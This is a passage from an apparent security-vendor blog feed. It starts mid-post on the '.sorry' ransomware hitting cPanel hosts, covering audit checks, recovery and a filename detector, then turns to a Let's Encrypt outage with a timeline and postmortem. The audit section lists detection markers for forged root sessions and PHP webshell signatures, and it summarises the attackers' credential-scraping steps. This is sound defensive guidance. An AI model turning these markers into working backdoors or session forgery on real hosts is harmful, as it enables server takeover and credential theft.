&lt;p&gt;Before encrypting, the operators scrape the filesystem for AWS, Stripe, OpenAI and Slack keys, then try to insert a hardcoded MySQL root password and dump every database. So even if you restore from backup, treat every secret the host ever held as compromised.&lt;/p&gt;
&lt;p&gt;There is no decryptor. Anyone telling you otherwise is selling a scam.&lt;/p&gt;
&lt;h2&gt;How Many cPanel Hosts Have Been Hit?&lt;/h2&gt;
&lt;p&gt;Three numbers worth knowing, three numbers worth ignoring:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Worth knowing:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.shadowserver.org/&quot;&gt;Shadowserver&lt;/a&gt; has logged 44,000+ compromised cPanel IPs.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://censys.com/blog/the-cpanel-situation-is/&quot;&gt;Censys&lt;/a&gt; sees 8,859 hosts with publicly exposed &lt;code&gt;.sorry&lt;/code&gt; files, of which 7,135 are confirmed running cPanel/WHM.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/05/04/multiple-threat-actors-actively-exploit-cpanel-vulnerability-cve-2026-41940/&quot;&gt;Help Net Security&lt;/a&gt; reports multiple distinct threat actors exploiting the same CVE, not just the Sorry operator.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Worth ignoring:&lt;/strong&gt; the &quot;1.5 million servers&quot; figure circulating on social media. That is the total population of internet-exposed cPanel hosts, not the victim count. Picus and others cite it for context, but it does not belong in any operational decision-making.&lt;/p&gt;
&lt;p&gt;The first figure is the ground truth for &quot;how many hosts had a root WHM compromise&quot;. The second is the lower bound for &quot;how many of those then got hit with ransomware specifically&quot;. The gap between them is the population that got backdoored, credential-scraped, or used as a launchpad without the loud ransomware payload.&lt;/p&gt;
&lt;h2&gt;How Do I Audit a Suspect cPanel Host Myself?&lt;/h2&gt;
&lt;p&gt;If you administer the cPanel host directly, three checks beyond &lt;code&gt;.sorry&lt;/code&gt; filenames:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Session directory.&lt;/strong&gt; Look in &lt;code&gt;/var/cpanel/sessions/raw/&lt;/code&gt; for pre-auth session files containing &lt;code&gt;user=root&lt;/code&gt;, &lt;code&gt;hasroot=1&lt;/code&gt;, &lt;code&gt;tfa_verified=1&lt;/code&gt;, or multiple &lt;code&gt;pass=&lt;/code&gt; lines. Any of those in a pre-auth file is the smoking gun for CVE-2026-41940 exploitation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Webshells.&lt;/strong&gt; Public reporting mentions &quot;numerous&quot; persistence webshells but does not catalogue specific paths. Pull the file inventory, sort by mtime since 23 February 2026, and grep for the standard PHP backdoor patterns (&lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;assert&lt;/code&gt;, &lt;code&gt;base64_decode&lt;/code&gt;, dynamic includes from &lt;code&gt;$_POST&lt;/code&gt; or &lt;code&gt;$_REQUEST&lt;/code&gt;). Our &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Find Hacks and Backdoors&lt;/a&gt; post covers the manual technique.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MySQL root.&lt;/strong&gt; Check &lt;code&gt;mysql.user&lt;/code&gt; for unexpected users or unexpected &lt;code&gt;Host&lt;/code&gt; entries on the root account. The Sorry operator&apos;s pre-encryption playbook includes a MySQL tampering step.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you only manage the sites and not the host, the file-level check is the only one you can run yourself. That is the one we automated.&lt;/p&gt;
&lt;h2&gt;How Do I Recover From a .sorry Ransomware Attack?&lt;/h2&gt;
&lt;p&gt;The recovery story for ransomware is unavoidably the backup story. There is no clever path here.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Do not reuse the compromised host.&lt;/strong&gt; Move to a clean cPanel install on a patched version (11.110.0.97 / 11.118.0.63 / 11.126.0.54 / 11.132.0.29 / 11.134.0.20 / 11.136.0.5 / WP Squared 136.1.7).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Restore site files and the database from your last known-good backup.&lt;/strong&gt; If you have been using mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;one-click backup&lt;/a&gt; feature, the most recent pre-encryption backup is the obvious starting point. Verify timestamps before restoring. Restoring a backup taken after the breach reintroduces the backdoors.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate every credential the host touched.&lt;/strong&gt; Database passwords, WP_ADMIN_USERS, FTP, mail accounts, API keys present in &lt;code&gt;wp-config.php&lt;/code&gt; or &lt;code&gt;configuration.php&lt;/code&gt;, Stripe/PayPal connectors, anything in &lt;code&gt;.env&lt;/code&gt;. The Sorry playbook scrapes for these before encrypting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run a full audit of the restored site before pointing DNS at it.&lt;/strong&gt; Even a clean backup can carry an older backdoor that the attacker used to gain CMS-level persistence months before the ransomware payload landed. Our &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;How to Fix a Hacked Joomla or WordPress Site&lt;/a&gt; walkthrough covers this end-to-end.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you have no clean backup&lt;/strong&gt;, the practical options are: accept the data loss, rebuild from whatever assets you have elsewhere (git repos, CMS exports stored off-host, customer-side copies of content), or, only if the data is genuinely irreplaceable, engage a professional IR firm to negotiate. &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is who we recommend when &quot;irreplaceable&quot; is the honest answer.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;Paying the ransom is generally a bad idea even when the data is critical. The Sorry operator&apos;s single shared Tox ID across all victims means there is no per-victim accountability, no &quot;reputation&quot; they need to protect with a working decryptor, and no straightforward way to verify a sample decrypt before sending payment. Treat it as a last resort with an IR firm, never as an end-user transaction.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why Is .sorry Detection a Default Check?&lt;/h2&gt;
&lt;p&gt;Most signature-based malware scanners look at file &lt;em&gt;content&lt;/em&gt;. A &lt;code&gt;.sorry&lt;/code&gt; file&apos;s content is by definition unreadable ciphertext, so there is nothing for a YARA rule or a PHP eval-pattern regex to match on. The filename, on the other hand, is unmissable. There is no legitimate reason for a file under any CMS document root to end in &lt;code&gt;.sorry&lt;/code&gt;. A single &lt;code&gt;LIKE &apos;%.sorry&apos;&lt;/code&gt; query is faster than scanning content, has zero false positives, and works against future variants that change the encryption algorithm but keep the extension.&lt;/p&gt;
&lt;p&gt;That is the same logic behind our existing detection for the 8,192,029-byte hack payload and the dozens of filename patterns we already flag on every audit. Cheap pattern checks at the end of an audit catch things content scanners miss. We added this one, we will add more as new ransomware families emerge with their own signature extensions.&lt;/p&gt;
&lt;p&gt;If you already have mySites.guru connected to your sites, you do not need to do anything. The next audit on each site will pick up any &lt;code&gt;.sorry&lt;/code&gt; files automatically. If a site flips to &quot;hacked&quot; with a Ransomware badge, you will get the standard hacked-site notification. The detection is retroactive: sites that were already encrypted before today will surface the badge on their next audit pass.&lt;/p&gt;
&lt;p&gt;If you do not have mySites.guru connected yet, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; will run the same check across any sites you point it at.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/critrical-cpanel-flaw-mass-exploited-in-sorry-ransomware-attacks/&quot;&gt;BleepingComputer: &quot;Sorry&quot; ransomware mass exploitation of cPanel&lt;/a&gt;, first ransomware-specific reporting, 2 May 2026.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/&quot;&gt;watchTowr Labs: CVE-2026-41940 root cause&lt;/a&gt;, the deepest technical breakdown of the CRLF injection chain.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass/&quot;&gt;Rapid7: CVE-2026-41940 ETR&lt;/a&gt;, patch matrix, IR notes, and confirmation of mitigations.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://censys.com/blog/the-cpanel-situation-is/&quot;&gt;Censys: The cPanel Situation&lt;/a&gt;, independent measurement of exposed &lt;code&gt;.sorry&lt;/code&gt; files on the public internet.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/05/04/multiple-threat-actors-actively-exploit-cpanel-vulnerability-cve-2026-41940/&quot;&gt;Help Net Security: multiple threat actors exploiting CVE-2026-41940&lt;/a&gt;, confirms the ransomware is one of several payloads riding the same bug.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>ransomware</category><category>cpanel</category><category>malware</category><category>hacked</category><enclosure url="https://mysites.guru/_astro/sorry-ransomware-cpanel-detection.Dxl95bw9.png" length="0" type="image/png"/></item><item><title>Let&apos;s Encrypt Is Down. Renewals Are Next</title><link>https://mysites.guru/blog/lets-encrypt-issuance-halted-2026-05-08/</link><guid isPermaLink="true">https://mysites.guru/blog/lets-encrypt-issuance-halted-2026-05-08/</guid><description>Let&apos;s Encrypt halted all certificate issuance at 18:37 UTC on 2026-05-08 after a cross-signed cert problem with their new Generation Y root. Issuance resumed via the Generation X root after roughly 2h 28m. The postmortem (2026-05-13) identifies missing Extended Key Usage (EKU) fields on the cross-certified subordinate CAs, with revocation and reissuance of the X2/YR-by-X1 and YE-by-X2 cross-signs.</description><pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;div&gt;
    &lt;span&gt;&lt;/span&gt;
    &lt;p&gt;Operational - incident closed 2026-05-13 20:32 UTC&lt;/p&gt;
  &lt;/div&gt;
  &lt;p&gt;Let&apos;s Encrypt has closed the incident. The cross-certified subordinate CAs were missing &lt;strong&gt;Extended Key Usage (EKU)&lt;/strong&gt; fields that are now required. Let&apos;s Encrypt has revoked and reissued the cross-signs of &lt;strong&gt;X2/YR by X1&lt;/strong&gt;, and &lt;strong&gt;YE by X2&lt;/strong&gt;. End-entity certificates have not been revoked because they remain compliant.&lt;/p&gt;
  &lt;p&gt;If you hold a certificate issued by the &lt;code&gt;tlsserver&lt;/code&gt; or &lt;code&gt;shortlived&lt;/code&gt; ACME profiles, Let&apos;s Encrypt recommends renewing it. The &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-acme-ari/&quot;&gt;ACME Renewal Information (ARI) API&lt;/a&gt; is signalling affected certificates to renew now, so any ACME client that consults ARI will pick the new chain up automatically. Certificates issued from Let&apos;s Encrypt&apos;s roots &lt;strong&gt;YE&lt;/strong&gt; and &lt;strong&gt;YR&lt;/strong&gt; may not chain successfully to the previous roots &lt;strong&gt;X1&lt;/strong&gt; and &lt;strong&gt;X2&lt;/strong&gt; without an updated cross-signed intermediate.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://letsencrypt.status.io/&quot;&gt;Let&apos;s Encrypt&apos;s status page&lt;/a&gt; opened the incident at 18:37 UTC on 2026-05-08 with a single sentence: &lt;em&gt;&quot;We have been made aware of a potential incident and are shutting down all issuance.&quot;&lt;/em&gt; The production ACME directory endpoint at &lt;code&gt;acme-v02.api.letsencrypt.org&lt;/code&gt; returned HTTP 503 for roughly two and a half hours before service was restored shortly after 21:00 UTC. The status page now describes the cause as an issue with the cross-signed certificate from Let&apos;s Encrypt&apos;s Generation X root to its new Generation Y root, and confirms issuance has been switched back to the Generation X root for the &lt;strong&gt;tlsserver&lt;/strong&gt; and &lt;strong&gt;shortlived&lt;/strong&gt; ACME certificate profiles.&lt;/p&gt;
&lt;p&gt;We saw it across mySites.guru subscriber sites during the outage window. Renewal jobs that ran between roughly 18:37 and 21:00 UTC came back with &lt;code&gt;urn:ietf:params:acme:error:serverInternal&lt;/code&gt; and &lt;code&gt;503 Service Unavailable&lt;/code&gt; from &lt;code&gt;acme-v02.api.letsencrypt.org/directory&lt;/code&gt;. None of those failures would reach the site owner until their alert threshold tripped, or worse, until the cert actually expired and a browser started blocking visitors. That gap between &quot;renewal failed&quot; and &quot;site is down&quot; is the whole reason we built expiry monitoring, and incidents like today are the reason it earns its keep.&lt;/p&gt;
&lt;p&gt;The blast radius was wider than just self-hosted ACME clients. At 20:46 UTC, &lt;a href=&quot;https://status.digitalocean.com/incidents/p3zyn7c4jyx7&quot;&gt;DigitalOcean opened an incident&lt;/a&gt; confirming the Let&apos;s Encrypt outage was breaking new certificate issuance for Spaces, Spaces CDN, Load Balancers and App Platform Custom Domains, and causing stuck or delayed creates/forks/restores on Managed Databases (Mongo, PostgreSQL, MySQL). DigitalOcean&apos;s note that &quot;operations related to Managed Databases and App Platform Custom Domains will automatically retry and should complete successfully once the upstream outage is resolved&quot; was fair, and confirms that a Let&apos;s Encrypt halt is not just a self-hosted-VPS problem: it cascades through every managed-platform layer that quietly depends on Let&apos;s Encrypt for TLS termination.&lt;/p&gt;
&lt;p&gt;The rest of this is what we know about the cause, what&apos;s still unclear, and what to do if you ran a renewal during the outage window.&lt;/p&gt;
&lt;h2&gt;What Does the Let&apos;s Encrypt Incident Mean for My Sites?&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;Existing certificates keep working until their stated expiry.&lt;/p&gt;
  &lt;p&gt;The outage breaks new issuance and renewal, not currently-valid certificates.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The TLS handshake between a visitor&apos;s browser and your web server doesn&apos;t phone home to Let&apos;s Encrypt on every request. CRLs are static-published documents. OCSP (the live revocation lookup that used to depend on CA infrastructure being available) &lt;a href=&quot;https://letsencrypt.org/2025/08/06/ocsp-service-has-reached-end-of-life&quot;&gt;reached end of life in August 2025&lt;/a&gt;. So a Let&apos;s Encrypt outage today does not in itself break sites that already hold a valid cert.&lt;/p&gt;
&lt;p&gt;What it does break is new issuance and renewal. Every certbot, acme.sh, Caddy, Traefik, cPanel autossl and managed-host renewal job currently in flight is hitting that 503. ACME clients on default schedules typically retry with some backoff, and most are configured to renew at 60 days into a 90-day lifetime. A multi-hour outage rarely causes immediate expiry. A multi-day outage starts catching the long tail of certs that were already within their 30-day renewal window when it started.&lt;/p&gt;
&lt;p&gt;The certs most exposed are the ones using Let&apos;s Encrypt&apos;s &lt;a href=&quot;https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability&quot;&gt;six-day &quot;shortlived&quot; profile&lt;/a&gt;, generally available since 2026-01-15. Shortlived certs renew every 2.5 days or so, so even a 12-hour outage eats a meaningful chunk of the renewal margin.&lt;/p&gt;
&lt;h2&gt;How the Let&apos;s Encrypt Outage Unfolded&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;A cross-sign problem with their new Generation Y root.&lt;/p&gt;
  &lt;p&gt;Issuance has been rolled back to the older Generation X root for the tlsserver and shortlived ACME profiles.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The status page note reads: &lt;em&gt;&quot;Due to an issue with the cross-signed certificate from our Generation X root to our new Generation Y root, all issuance has been switched back to our Generation X root certificate. This affects our &apos;tlsserver&apos; and &apos;shortlived&apos; ACME certificate profiles.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In plain English: Let&apos;s Encrypt has two root certificates in play. Generation X is the older one that every browser, OS and TLS library has trusted for years. Generation Y is the newer one they&apos;ve been rolling in. To bridge old clients during the rollover, end-entity certs were being issued from an intermediate that chained up via a &lt;em&gt;cross-signed&lt;/em&gt; link from Generation X to Generation Y, so anything trusting either root could validate the chain. The cross-sign is what broke. Issuing only via Generation X again keeps trust working for everyone, at the cost of pausing the Generation Y rollout (the shorter-chain handshake and ECDSA-root benefits Generation Y was meant to deliver).&lt;/p&gt;
&lt;p&gt;For most operators that means nothing changes. Certificates issued today after roughly 21:00 UTC chain via Generation X, the way they have for years. Browsers and TLS clients won&apos;t notice. The only people who need to look twice are anyone who deliberately pinned the new Generation Y root in their own infrastructure (rare, but possible for some IoT or embedded use cases): verify your setup still validates.&lt;/p&gt;
&lt;h3&gt;Postmortem: Missing Extended Key Usage on the Cross-Signs&lt;/h3&gt;
&lt;p&gt;On 2026-05-13 at 20:32 UTC Let&apos;s Encrypt closed the incident with a clear root cause. The cross-certified subordinate CAs that bridged Generation X and Generation Y were &lt;strong&gt;missing Extended Key Usage (EKU) fields&lt;/strong&gt; that are now required. The CA/Browser Forum &lt;a href=&quot;https://cabforum.org/working-groups/server/baseline-requirements/documents/&quot;&gt;Baseline Requirements&lt;/a&gt; tightened EKU rules so that a subordinate CA used to issue TLS server certificates must carry an explicit &lt;code&gt;id-kp-serverAuth&lt;/code&gt; EKU; a subordinate without one is no longer a valid issuing chain for &lt;code&gt;serverAuth&lt;/code&gt; use. The original cross-signs had been issued without that field, which is why the new chain stopped validating once the requirement took effect.&lt;/p&gt;
&lt;p&gt;The fix had two phases. The first, on 2026-05-08, was the operational rollback that&apos;s already in this post: switch the &lt;code&gt;tlsserver&lt;/code&gt; and &lt;code&gt;shortlived&lt;/code&gt; ACME profiles back to issuing from the Generation X root so the rest of the world keeps validating. The second, on 2026-05-13, was the proper repair: &lt;strong&gt;revoke and reissue the cross-signs&lt;/strong&gt; of X2/YR by X1, and YE by X2, with the EKU fields included. End-entity certificates were not revoked because they&apos;re still compliant on their own. The repair is on the intermediates, not the leaves.&lt;/p&gt;
&lt;p&gt;If you hold a certificate that was issued by the &lt;code&gt;tlsserver&lt;/code&gt; or &lt;code&gt;shortlived&lt;/code&gt; ACME profiles in the window when the bad cross-signs were in use, Let&apos;s Encrypt recommends renewing it so the chain pulls the corrected intermediate. The &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-acme-ari/&quot;&gt;ACME Renewal Information (ARI) API&lt;/a&gt; is signalling affected certificates to renew immediately, so any ACME client that honours ARI (recent certbot, recent acme.sh, Caddy 2.7+) will pick the renewal up on its next scheduled run with no operator action required. Anyone who pinned the new Generation Y root in their own infrastructure should verify their cross-signed intermediate has been refreshed.&lt;/p&gt;
&lt;p&gt;This is the right shape of postmortem from a CA. Fast operational mitigation, clear root cause, narrow blast radius (intermediates, not leaves), and a renewal signal pushed through ARI so the long tail of clients fixes itself.&lt;/p&gt;
&lt;h3&gt;Incident Timeline&lt;/h3&gt;
&lt;p&gt;All times UTC. We&apos;re updating this list as new signals come in.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;Time (UTC)&lt;/th&gt;
        &lt;th&gt;What happened&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;2026-05-08 17:17 - 17:27&lt;/td&gt;
        &lt;td&gt;Scheduled &lt;strong&gt;Database API maintenance&lt;/strong&gt; on &lt;code&gt;acme-v02.api.letsencrypt.org&lt;/code&gt; (Production), High Assurance Datacenter 1 and 2. The status page note said ACME clients might see timeouts of up to 10 minutes during the window. Marked &lt;em&gt;Done&lt;/em&gt; at 18:46 UTC. Same component, same datacenters as the issuance halt that followed about an hour later. Let&apos;s Encrypt has not linked the two, and we&apos;re not either - but it&apos;s the timing detail people will ask about.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;2026-05-08 18:37&lt;/td&gt;
        &lt;td&gt;Let&apos;s Encrypt opens incident &lt;strong&gt;&quot;Stopping Issuance for Potential Incident&quot;&lt;/strong&gt;. Single-sentence message: &lt;em&gt;&quot;We have been made aware of a potential incident and are shutting down all issuance.&quot;&lt;/em&gt; Components flagged: acme-v02.api.letsencrypt.org (Production), acme-staging-v02 (Staging), portal.letsencrypt.org, portal-staging.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;2026-05-08 18:47&lt;/td&gt;
        &lt;td&gt;Status page last updated. Production confirmed at &lt;strong&gt;&quot;Partial Service Disruption&quot;&lt;/strong&gt;, datacenters High Assurance 1 and 2. No further public communication after this point.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;~19:00&lt;/td&gt;
        &lt;td&gt;First failed renewal jobs on mySites.guru subscriber sites. ACME clients return &lt;code&gt;urn:ietf:params:acme:error:serverInternal&lt;/code&gt; against &lt;code&gt;/directory&lt;/code&gt;. Staging endpoint still healthy, returning HTTP 200, confirming the halt is targeted at production.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;~19:30&lt;/td&gt;
        &lt;td&gt;Production &lt;code&gt;/directory&lt;/code&gt; still HTTP 503. No thread on community.letsencrypt.org incidents board. No top-of-page Hacker News discussion. Twitter chatter starting but unconfirmed.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;2026-05-08 20:46&lt;/td&gt;
        &lt;td&gt;&lt;strong&gt;DigitalOcean opens an incident&lt;/strong&gt; on its &lt;a href=&quot;https://status.digitalocean.com/incidents/p3zyn7c4jyx7&quot;&gt;status page&lt;/a&gt;: &lt;em&gt;&quot;Let&apos;s Encrypt Outage Affecting Certificate Issuance and Managed Databases Operations&quot;&lt;/em&gt;, status &lt;em&gt;Identified&lt;/em&gt;. Affected components flagged Global: &lt;strong&gt;App Platform, Managed Databases, Load Balancers, Spaces, Spaces CDN&lt;/strong&gt;. Symptoms: inability to create new Let&apos;s Encrypt certificates for Spaces / Load Balancers / App Platform Custom Domains, and stuck or delayed creates/forks/restores on Mongo, PostgreSQL and MySQL managed databases. DO&apos;s note: operations will automatically retry and complete once Let&apos;s Encrypt is back. Confirms the outage is now visible at the managed-platform layer, not just on self-hosted ACME clients.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;~21:05&lt;/td&gt;
        &lt;td&gt;&lt;strong&gt;Issuance restored.&lt;/strong&gt; &lt;code&gt;acme-v02.api.letsencrypt.org/directory&lt;/code&gt; returns HTTP 200 again. Status page note: &lt;em&gt;&quot;Due to an issue with the cross-signed certificate from our Generation X root to our new Generation Y root, all issuance has been switched back to our Generation X root certificate. This affects our &apos;tlsserver&apos; and &apos;shortlived&apos; ACME certificate profiles.&quot;&lt;/em&gt; Total outage window: roughly 2h 28m.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;2026-05-13 20:32&lt;/td&gt;
        &lt;td&gt;&lt;strong&gt;Incident closed.&lt;/strong&gt; Status moved back to &lt;em&gt;Operational&lt;/em&gt;. Let&apos;s Encrypt&apos;s note identifies the root cause as &lt;strong&gt;missing Extended Key Usage (EKU) fields&lt;/strong&gt; on the cross-certified subordinate CAs, which are now required. Let&apos;s Encrypt has revoked and reissued the cross-signs of &lt;strong&gt;X2/YR by X1&lt;/strong&gt;, and &lt;strong&gt;YE by X2&lt;/strong&gt;. End-entity certs are not being revoked because they remain compliant. ARI is signalling affected certs (those issued by the &lt;code&gt;tlsserver&lt;/code&gt; and &lt;code&gt;shortlived&lt;/code&gt; profiles) to renew now. Total incident window from initial halt to closure: ~5 days, but issuance itself was only paused for ~2h 28m on 2026-05-08.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;Now&lt;/td&gt;
        &lt;td&gt;All ACME profiles operational. Any client that honours &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-acme-ari/&quot;&gt;ACME Renewal Information (ARI)&lt;/a&gt; will renew affected certificates automatically. Watching &lt;a href=&quot;https://letsencrypt.status.io/&quot;&gt;letsencrypt.status.io&lt;/a&gt; and &lt;a href=&quot;https://community.letsencrypt.org/c/incidents/16&quot;&gt;community.letsencrypt.org/c/incidents&lt;/a&gt; for any further detail or Generation Y reintroduction notice.&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;If you have already-issued certs that need re-issuance for any reason today (key compromise, domain change, SAN addition), assume that operation is blocked until further notice and plan around it.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Do I Find Every Site With an At-Risk SSL Certificate?&lt;/h2&gt;
&lt;p&gt;The hard part of an incident like this isn&apos;t the technical fix on any one site. It&apos;s knowing which sites in your portfolio are at risk. If you manage twenty Joomla and WordPress sites for clients, you have two questions to answer in the next ten minutes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Which of my sites&apos; Let&apos;s Encrypt certs are inside their renewal window today?&lt;/li&gt;
&lt;li&gt;Which of my sites&apos; renewal crons ran in the last hour and silently failed?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru has &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;tracked SSL certificates on every site snapshot since 2012&lt;/a&gt;. On every snapshot we download the active certificate the same way a browser would, then record the issuer, expiry date and full chain validity. The dashboard sorts every connected site by certificate expiration date. During an incident like today&apos;s, that sorted list is your priority queue.&lt;/p&gt;
&lt;p&gt;The default alert window is two days before expiry. For most sites running a healthy renewal cron that&apos;s plenty (the cron renews at day 30, the alert is a safety net). Today is the day that safety net actually matters.&lt;/p&gt;
&lt;p&gt;If you&apos;re not a subscriber yet, you can connect your sites and run the same SSL audit in a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;. The SSL state of every connected site is one of the things the audit covers.&lt;/p&gt;
&lt;h2&gt;mySites.guru Subscriber Action Steps&lt;/h2&gt;
&lt;p&gt;Open &lt;a href=&quot;https://manage.mysites.guru/en/sites/by/ssl/expiration&quot;&gt;manage.mysites.guru/en/sites/by/ssl/expiration&lt;/a&gt;. The page lists every connected site sorted by SSL expiration date, with the issuer (Let&apos;s Encrypt, ZeroSSL, Sectigo, cPanel auto-SSL, whatever) for each. That&apos;s the single view you want during this incident.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Reading the issuer column&lt;/p&gt;
  &lt;p&gt;The codes in the Issuer column are the certificate authority&apos;s intermediate CA short names. The ones starting with &lt;strong&gt;R&lt;/strong&gt; (R10, R11, R12, R13, R14) and &lt;strong&gt;E&lt;/strong&gt; (E5, E6, E7, E8, E9) are all Let&apos;s Encrypt: R-series are RSA intermediates, E-series are ECDSA. &lt;strong&gt;WE1&lt;/strong&gt; and &lt;strong&gt;WR1-WR4&lt;/strong&gt; are Google Trust Services. Anything starting with R or E in this dashboard means the site is renewing through Let&apos;s Encrypt and is exposed to today&apos;s incident.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Three things to do with it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Anything in the next 14 days needs eyes on it today. Sort by expiration, look at the top of the list, decide whether each site can wait or needs a manual intervention (paid stopgap cert or a switch to ZeroSSL).&lt;/li&gt;
&lt;li&gt;Filter by issuer. If a site is showing a non Let&apos;s Encrypt issuer, it&apos;s not affected by this incident at all. Move on.&lt;/li&gt;
&lt;li&gt;For at-risk sites, check the renewal cron logs on the host. Most failures right now will be &lt;code&gt;urn:ietf:params:acme:error:serverInternal&lt;/code&gt; from &lt;code&gt;acme-v02.api.letsencrypt.org/directory&lt;/code&gt;. That&apos;s the LE outage, not anything wrong with your config.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If your alert window is set at the default two days, push it out for the duration of the incident. We&apos;d rather over-alert and have you ignore a few than under-alert and miss the one site that mattered. The alert window is configurable per site.&lt;/p&gt;
&lt;p&gt;Export the list to CSV from the same screen if you want to share it with a co-worker or work the priority queue offline.&lt;/p&gt;
&lt;h2&gt;How Do I Renew an SSL Certificate When Let&apos;s Encrypt Is Down?&lt;/h2&gt;
&lt;p&gt;If you have a cert that genuinely needs to renew before Let&apos;s Encrypt is back, there are three options that actually work.&lt;/p&gt;
&lt;p&gt;The first is to switch your ACME client to ZeroSSL. ZeroSSL speaks ACME, issues free 90-day DV certificates, supports wildcards on the free tier, and is the most widely-used drop-in for Let&apos;s Encrypt during incidents like today&apos;s. It requires External Account Binding (EAB), which is a one-time pairing step: log into &lt;a href=&quot;https://app.zerossl.com/developer&quot;&gt;ZeroSSL Developer&lt;/a&gt;, click &quot;Generate&quot; under EAB Credentials for ACME, and copy the two strings it gives you (a KID and an HMAC key). The KID is short. The HMAC key is a longer base64 string. You only generate them once per account and reuse them for every certbot run.&lt;/p&gt;
&lt;p&gt;For certbot, the switch looks roughly like the example below. &lt;strong&gt;This is illustrative, not copy-and-paste.&lt;/strong&gt; Replace the placeholders with your real EAB credentials, your webroot path, and your domain names before running it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# EXAMPLE - swap placeholders for real values before running
certbot certonly \
  --server https://acme.zerossl.com/v2/DV90 \
  --eab-kid PASTE_YOUR_EAB_KID_FROM_ZEROSSL_DASHBOARD \
  --eab-hmac-key PASTE_YOUR_EAB_HMAC_FROM_ZEROSSL_DASHBOARD \
  --webroot -w /var/www/html \
  -d example.com -d www.example.com
&lt;/code&gt;&lt;/pre&gt;
